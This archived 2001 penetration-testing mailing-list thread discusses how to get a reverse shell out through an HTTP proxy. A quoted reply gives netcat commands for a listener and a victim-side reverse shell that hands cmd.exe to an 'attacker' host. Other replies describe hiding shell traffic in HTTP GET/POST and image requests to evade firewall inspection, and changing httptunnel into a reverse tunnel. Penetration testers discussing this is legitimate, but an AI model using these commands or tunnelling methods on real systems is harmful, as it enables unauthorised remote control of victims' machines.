RE: Reverse Http Shell Solution

From: David Sexton (dave.sextonat_private)
Date: Fri Oct 19 2001 - 01:05:34 PDT

  • Next message: Jody Melbourne: "Re: Reverse Http Shell Solution"

    Hi,
    
    	I can confirm that it is possible to hack nocrew's httptunnel
    program to provide a reverse tunnel. There is no reason that this would not
    work over a http proxy.
    	Once you have a reverse tunnel set up, you can use netcat to patch
    in a shell (or even build that functionality into the tunneling software).
    
    	httptunnel (which provides a 'forward' tunnel) can be downloaded
    from : http://www.nocrew.org/software/httptunnel.html
    
    	All it takes is a bit of code grafting between htc.c and hts.c.
    
    	Regards,
    
    Dave
    
    > -----Original Message-----
    > From:	Frank Knobbe [SMTP:FKnobbeat_private]
    > Sent:	19 October 2001 02:56
    > To:	'GrandmastrPlagueat_private'; vdalesandroat_private
    > Cc:	'pen-testat_private'
    > Subject:	RE: Reverse Http Shell Solution 
    > 
    > -----BEGIN PGP SIGNED MESSAGE-----
    > Hash: SHA1
    > 
    > > -----Original Message-----
    > > From: GrandmastrPlagueat_private [mailto:GrandmastrPlagueat_private]
    > > Sent: Thursday, October 18, 2001 2:02 PM
    > > 
    > > It seems like this question has been asked a million times 
    > > before, but here goes the same old answer again... use netcat 
    > > On attacker machine: 
    > > nc -l -p 80 
    > > On victim machine: 
    > > nc -d -e cmd.exe attacker 80 
    > > 
    > > Make sure you set up the listening machine first. 
    > 
    > 
    > I believe Vinícius meant that there is no way for a straight through
    > connection as netcat would establish, but instead the requirement to
    > send GET requests to the proxy which will fetch a page for you.
    > Netcat won't do that. You would have to have a reverse shell that
    > operates on a HTTP GET and PUT basis. 
    > 
    > You could modify netcat to do that. Instead of using TCP/UDP
    > connections, you can replace that mechanism with HTTP GET and PUT
    > ways of shuffling data, pumping that back to stdin/stdout. The only
    > catch is to fetch the data correctly as some firewalls will do
    > content inspection. One way to get around that is to pump data with
    > POSTs to a form as normal, but receive data via GET's from images in
    > the web page, or just request for images a'la http://h4x0r/data.gif.
    > 
    > Regards,
    > Frank
    > 
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